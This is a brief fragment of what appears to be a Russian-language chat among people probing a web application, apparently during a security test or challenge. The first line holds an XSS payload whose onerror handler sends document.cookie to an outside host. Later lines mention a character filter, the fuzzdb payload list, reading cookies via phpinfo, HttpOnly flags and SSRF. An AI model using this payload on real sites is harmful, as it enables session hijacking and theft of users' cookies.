Separate names with a comma.
1: <img src="/" onerror="new Image().src='http://domain/1.gif?'+document.cookie"></img> со вторым не факт, что получится, он вырезает лишние...
тут это потеряется, стоит в песочницу перекинуть
стикер с паролем от ачата
https://github.com/fuzzdb-project/fuzzdb
с помощью phpinfo какого-нибудь
Посмотрите, какие флаги установлены на куках, httpOnly?
SSRF?